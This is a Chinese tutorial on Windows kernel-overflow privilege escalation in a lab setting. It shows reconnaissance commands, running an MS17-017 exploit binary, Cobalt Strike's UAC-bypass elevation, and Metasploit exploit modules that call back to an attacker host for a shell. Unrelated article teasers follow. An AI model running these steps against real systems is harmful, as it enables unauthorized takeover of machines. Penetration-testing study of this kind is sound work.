[权限提升] Windows 提权 — 系统内核溢出漏洞提权

关注这个框架的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客

0x01:系统内核溢出漏洞提权介绍

注意:提权很容易让电脑蓝屏,所以如果是测试的话,提权前最好做好系统备份。

溢出漏洞就像是往杯子里装水 —— 如果水太多,被子装不下了,就会溢出来。计算机中有个地方叫作缓存区。程序缓存区的大小是事先设置好的,如果用户输入数据的大小超过了缓存区的大小,程序就会溢出。

系统内核溢出漏洞提权是一种通用的提权方法,攻击者通常可以使用该方法绕过系统的所有安全限制。攻击者利用该漏洞的关键是目标系统没有及时安装补丁 —— 即使微软已经针对某个漏洞发布了补丁,但如果系统没有立即安装补丁,就会让攻击者有机可乘。然而,这种提权方法也存在一定的局限性 —— 如果目标系统的补丁更新工作较为迅速和完整,那么攻击者要想通过这种方式提权,就必须找出目标系统的 0day 漏洞。

0x0101:远程溢出漏洞 & 本地溢出漏洞

溢出提权从形式上可以分为远程溢出和本地溢出。

远程溢出需要与远程服务器建立连接,然后根据系统漏洞使用相应的溢出程序获取远程 Windows 服务器的 System 权限(比如 MS17-010 漏洞,你只需要填写靶机的 IP,就自动拿到高权限了)。

本地溢出是主流的提权方式,通常需要向目标服务器上传本地溢出程序,然后在服务器中执行,如果目标系统中存在该漏洞,那么将会溢出获得 Windows 操作系统 System 权限。

0x0102:溢出漏洞提权的基本步骤

缓冲区溢出漏洞提权的基本步骤如下:

  1. 信息收集:查看当前权限、操作系统版本、操作系统已经安装的补丁。

  2. 根据收集到的信息查找目标机器上未安装的补丁对应的提权漏洞。

  3. 根据漏洞查找 EXP

  4. 使用 EXP 提权。

0x02:Windows 系统内核溢出漏洞实战

实验环境简介

  • 靶机 Windows 7 :IP 192.168.0.118

  • 攻击机 Kali Linux:IP 192.168.0.100,安装了 CS 服务端

  • 辅助机 Windows 11:IP 192.168.0.1,安装了 CS 客户端

0x0201:靶机信息收集

我们首先先让靶机上线 CS,并确保通过 CS 能够进行远控:

输入下面的命令,查看当前用户的权限:

 shell whoami # 结果: blue17-pc\defender-windows 7,不是管理员
 shell whoami /groups # 查看权限等级

输入下面的命令,查看系统补丁信息:

 shell systeminfo

0x0202:手动寻找提权 EXP 提权

1. 定位目标可能存在的提权漏洞

将上面拿到的系统信息,复制到下面这个网站,来寻找目标系统可能存在的提权漏洞(这种站点非常多,相关工具也很多,可以自己收集一些):

 url: https://www.adminxe.com/CompareSys/
 title: "Windows提权对比辅助"
 host: www.adminxe.com

2. 使用漏洞对应的 EXP 进行提权

找到了目标可能存在的提权漏洞后,下一步就是去寻找对应的提权 EXP,然后一个个试。

比如上面的第一个 MS17-017 漏洞,巧了,笔者这里就有 EXP,还有使用说明(不同的 EXP 用法不一样,详情还是得看使用说明):

将 MS17-017.exe 上传到靶机:

然后在 CS 命令行运行该工具即可进行提权:

 shell MS17-017.exe

挺可惜的哈,当我们在 CS 中运行这个 exe 尝试进行提权失败了,完了靶机还给弹窗了。虽然这个是失败了,但是流程不变,我们上面扫了那么多的提权漏洞,按照上面的流程,搜索 EXP 一个一个试就可以了。

0x0203:Cobalt Strike 提权

使用 Cobalt Strike 提权就简单多了,右击上线靶机,选择 “Access” => “Elevate”(提权模块),然后随便配置一个监听器,点击 Launch 即可:

如上显示提权成功,值得注意的是,这里笔者选择的 Exploit 是 uac-token-duplication,是一个 UAC 绕过的提权(Windows 的 UAC 认证笔者前面在之前的章节中讲解过,这里就不讲解了),提权成功后,CS 客户端会再接收一个 Shell:

MSF 的提权还可以通过扩展插件完成,使用方法就是右击上线机器,选择对应模块,提就完了,不知道哪个可以用,你就一个一个试,试不出来,就可以去换 MSF 再试。

0x0204:Metasploit 提权

1. 使用 MSF 确定目标提权漏洞

首先先让目标上线 MSF,并将上线的会话使用 bg 命令挂起在后台(可以看到 session id 为 1):

然后使用 local_exploit_suggester 模块扫描目标可能存在的漏洞:

 use post/multi/recon/local_exploit_suggester # 使用模块
 set SESSION 1                                # 设置扫描的会话 id
 run                                          # 启用漏洞扫描功能

2. 使用漏洞对应的 EXP 进行提权

下面就是从上往下,一个一个试了:

 use exploit/windows/local/bypassuac_eventvwr # 这个是插件扫出来的模块
 set SESSION 1                                # 具体配置得看插件
 set LPORT 4445                               # 为了避免端口冲突
 run

如上,第一个失败了,我们换第二个:

 use exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move # 第二个插件
 set SESSION 1                                # 具体配置得看插件
 set LHOST 192.168.0.100                      # 这个是插件要求的
 set LPORT 4445                               # 为了避免端口冲突
 run

如上,第二个也失败了,那就换第三个。反正也是就这么换下去。至于为啥上面会失败,笔者是这样想的,笔者使用的用户虽然叫 Defender-Windows 7 但其实这用户绕个 UAC 就有管理员权限了。所以它其实不是系统中的普通用户,它自己权限是足够高的,所以才会试验这么多提权都失败。

尽管演示结果是失败的,但是本文主要是讲解提权的思路,针对 Windows 内核溢出漏洞提权的流程就是上面演示的这样,收集目标信息,然后查找可能存在的提权漏洞,一个一个尝试。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/961536.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Dest1ny漏洞库:用友 U8 Cloud ReleaseRepMngAction SQL 注入漏洞(CNVD-2024-33023)

大家好,今天是Dest1ny漏洞库的专题!! 会时不时发送新的漏洞资讯!! 大家多多关注,多多点赞!!! 0x01 产品简介 用友U8 Cloud是用友推出的新一代云ERP,主要聚…

在线课堂小程序设计与实现(LW+源码+讲解)

专注于大学生项目实战开发,讲解,毕业答疑辅导,欢迎高校老师/同行前辈交流合作✌。 技术范围:SpringBoot、Vue、SSM、HLMT、小程序、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容:…

【Linux权限】—— 于虚拟殿堂,轻拨密钥启华章

欢迎来到ZyyOvO的博客✨,一个关于探索技术的角落,记录学习的点滴📖,分享实用的技巧🛠️,偶尔还有一些奇思妙想💡 本文由ZyyOvO原创✍️,感谢支持❤️!请尊重原创&#x1…

Qt Designer and Python: Build Your GUI

1.install pyside6 2.pyside6-designer.exe 发送到桌面快捷方式 在Python安装的所在 Scripts 文件夹下找到此文件。如C:\Program Files\Python312\Scripts 3. 打开pyside6-designer 设计UI 4.保存为simple.ui 文件,再转成py文件 用代码执行 pyside6-uic.exe simpl…

【Rust自学】15.7. 循环引用导致内存泄漏

说句题外话,这篇文章真心很难,有看不懂可以在评论区问,我会尽快作答的。 喜欢的话别忘了点赞、收藏加关注哦(加关注即可阅读全文),对接下来的教程有兴趣的可以关注专栏。谢谢喵!(・ω…

[免费]基于Python的Django博客系统【论文+源码+SQL脚本】

大家好,我是java1234_小锋老师,看到一个不错的基于Python的Django博客系统,分享下哈。 项目视频演示 【免费】基于Python的Django博客系统 Python毕业设计_哔哩哔哩_bilibili 项目介绍 随着互联网技术的飞速发展,信息的传播与…

乐优商城项目总结

文章目录 项目简介微服务集群1.enreka注册中心2. zuul网关3. 公共工具类4. 商品微服务5. 文件上传微服务6. 搜索微服务7. 页面静态化微服务8. 用户微服务9. 短信微服务10. 认证微服务11. 购物车微服务12. 订单微服务项目最大的收获项目遇到的问题 项目简介 乐优商城是一个全品…

基于django的智能停车场车辆管理深度学习车牌识别系统

完整源码项目包获取→点击文章末尾名片!

【开源免费】基于Vue和SpringBoot的在线文档管理系统(附论文)

本文项目编号 T 038 ,文末自助获取源码 \color{red}{T038,文末自助获取源码} T038,文末自助获取源码 目录 一、系统介绍二、演示录屏三、启动教程四、功能截图五、文案资料5.1 选题背景5.2 国内外研究现状5.3 可行性分析 六、核心代码6.1 查…

双层Git管理项目,github托管显示正常

双层Git管理项目,github托管显示正常 背景 在写React项目时,使用Next.js,该项目默认由git托管。但是我有在项目代码外层记笔记的习惯,我就在外层使用了git托管。 目录如下 code 层内也有.git 文件,对其托管。 我没太在意&…

54.数字翻译成字符串的可能性|Marscode AI刷题

1.题目 问题描述 小M获得了一个任务,需要将数字翻译成字符串。翻译规则是:0对应"a",1对应"b",依此类推直到25对应"z"。一个数字可能有多种翻译方法。小M需要一个程序来计算一个数字有多少种不同的…

基于Langchain-Chatchat + ChatGLM 本地部署知识库

一、相关环境 参考链接: Github:https://github.com/chatchat-space/Langchain-Chatchat Langchain-chatchat版本:v0.3.1 安装环境:Ubuntu:22.04,CUDA:12.1 二、搭建过程 2.1 环境配置 2.1.1 创建chatchat虚拟环…

Hive:日志,hql运行方式,Array,行列转换

日志 可以在终端通过 find / | grep hive-log4j2 命令查找Hive的日志配置文件 这些文件用于配置Hive的日志系统。它们不属于系统日志也不属于Job日志,而是用于配置Hive如何记录系统日志和Job日志, 可以通过hive-log4j2 查找日志的位置 HQL的3种运行方式 第1种就是l…

护眼好帮手:Windows显示器调节工具

在长时间使用电脑的过程中,显示器的亮度和色温对眼睛的舒适度有着重要影响。传统的显示器调节方式不仅操作繁琐,而且在低亮度下容易导致色彩失真。因此,今天我想为大家介绍一款适用于Windows系统的护眼工具,它可以帮助你轻松调节显…

简要介绍C语言和c++的共有变量,以及c++特有的变量

在C语言和C中,变量是用来存储数据的内存位置,它们的使用方式和特性在两种语言中既有相似之处,也有不同之处。以下分别介绍C语言和C的共有变量以及C特有的变量。 C语言和C的共有变量 C语言和C都支持以下类型的变量,它们在语法和基…

Python爬虫学习第三弹 —— Xpath 页面解析 实现无广百·度

早上好啊,大佬们。上回使用 Beautiful Soup 进行页面解析的内容是不是已经理解得十分透彻了~ 这回我们再来尝试使用另外一种页面解析,来重构上一期里写的那些代码。 讲完Xpath之后,小白兔会带大家解决上期里百度搜索的代码编写,保…

消息队列篇--通信协议篇--应用层协议和传输层协议理解

在网络通信中,传输层协议和应用层协议是OSI模型中的两个不同层次的协议,它们各自承担着不同的职责。 下文中,我们以TCP/UDP(传输层协议)和HTTP/SMTP(应用层协议)为例进行详细解释。 1、传输层协…

Maui学习笔记- SQLite简单使用案例02添加详情页

我们继续上一个案例,实现一个可以修改当前用户信息功能。 当用户点击某个信息时,跳转到信息详情页,然后可以点击编辑按钮导航到编辑页面。 创建项目 我们首先在ViewModels目录下创建UserDetailViewModel。 实现从详情信息页面导航到编辑页面…

arkui-x跨平台与android java联合开发

华为鸿蒙系统采用的是arkts,支持跨平台crossplatform 即前端为arkts,arkui-x框架,后端为其他的语言框架。 本篇示例后端采用的是java,android studio工程。 主要方式是前端鸿蒙完成界面元素、布局等效果,后面androi…

Unity敌人逻辑笔记

写ai逻辑基本上都需要状态机。因为懒得手搓状态机,所以选择直接用动画状态机当逻辑状态机用。 架构设计 因为敌人的根节点已经有一个animator控制动画,只能增加一个子节点AI,给它加一个animator指向逻辑“动画”状态机。还有一个脚本&#…